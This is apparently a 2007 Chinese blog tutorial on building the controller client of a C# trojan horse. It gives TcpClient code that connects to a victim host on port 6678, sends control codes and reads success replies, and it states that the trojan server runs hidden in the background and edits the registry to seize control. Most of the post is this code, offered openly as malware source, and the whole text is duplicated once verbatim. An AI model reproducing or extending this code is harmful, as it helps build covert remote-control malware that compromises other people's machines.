C#木马(客户端)
2007-03-28 13:40
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使用的技术:
控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:
控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求
使用了.NET类中的 System.Net.Sockets.TcpClient类,
TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
...{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("请求连接" +textBox1.Text +" ");
int port =6678;
try
...{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
...{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}//private void buttion
2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流
//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
...{
//纪录操作
richTextBox1.AppendText("测试连接" +" ");
try
...{
stream = client.GetStream();
if(stream.CanWrite)
...{
//发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
...{
richTextBox1.AppendText (ee.Message+" ");
MessageBox.Show(ee.Message);
}
}
3、控制生效的代码
private void button9_Click(object sender, System.EventArgs e)
...{
//这里是确定要发送的控制码,RadioButton是窗体控件
if(radioButton1.Checked)...{ control = form2.zhucex;}
else if(radioButton2.Checked)...{ control =form3.zhuces;}
else if(radioButton3.Checked)...{ control = warring;}
else if(radioButton4.Checked)...{ control =suggest;}
else if(radioButton5.Checked)...{ control =form4.mumawe;}
else if(radioButton6.Checked)...{ control =drop;}
if (control =="000000")
...{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
...{
try
...{
//记录操作
richTextBox1.AppendText (control + "正在试图控制,等待回应......" + " ");
stream = client.GetStream();
if(stream.CanWrite )
...{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
...{
richTextBox1.AppendText("服务器未连接1控制无效!" +" ");
MessageBox.Show("服务器未连接1控制无效!" +" ");
}
}//else if
}
4、线程执行的函数
private void receive()
...{
//设置读取数据的空间
byte[] bb = new byte[3];
//读取3个字节,i为实际读取的字节数
int i = stream.Read(bb,0,3);
//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功
if(ss=="hjc")
...{
MessageBox.Show("连接成功");
richTextBox1.AppendText("连接成功");
}
if(ss== "hkz")
...{
richTextBox1.AppendText(control +"控制成功"+" ");
MessageBox.Show(control +"控制成功"+" ");
}
}
控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:
控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求
使用了.NET类中的 System.Net.Sockets.TcpClient类,
TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
...{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("请求连接" +textBox1.Text +" ");
int port =6678;
try
...{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
...{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}//private void buttion
2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流
//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
...{
//纪录操作
richTextBox1.AppendText("测试连接" +" ");
try
...{
stream = client.GetStream();
if(stream.CanWrite)
...{
//发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
...{
richTextBox1.AppendText (ee.Message+" ");
MessageBox.Show(ee.Message);
}
}
3、控制生效的代码
private void button9_Click(object sender, System.EventArgs e)
...{
//这里是确定要发送的控制码,RadioButton是窗体控件
if(radioButton1.Checked)...{ control = form2.zhucex;}
else if(radioButton2.Checked)...{ control =form3.zhuces;}
else if(radioButton3.Checked)...{ control = warring;}
else if(radioButton4.Checked)...{ control =suggest;}
else if(radioButton5.Checked)...{ control =form4.mumawe;}
else if(radioButton6.Checked)...{ control =drop;}
if (control =="000000")
...{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
...{
try
...{
//记录操作
richTextBox1.AppendText (control + "正在试图控制,等待回应......" + " ");
stream = client.GetStream();
if(stream.CanWrite )
...{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
...{
richTextBox1.AppendText("服务器未连接1控制无效!" +" ");
MessageBox.Show("服务器未连接1控制无效!" +" ");
}
}//else if
}
4、线程执行的函数
private void receive()
...{
//设置读取数据的空间
byte[] bb = new byte[3];
//读取3个字节,i为实际读取的字节数
int i = stream.Read(bb,0,3);
//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功
if(ss=="hjc")
...{
MessageBox.Show("连接成功");
richTextBox1.AppendText("连接成功");
}
if(ss== "hkz")
...{
richTextBox1.AppendText(control +"控制成功"+" ");
MessageBox.Show(control +"控制成功"+" ");
}
}
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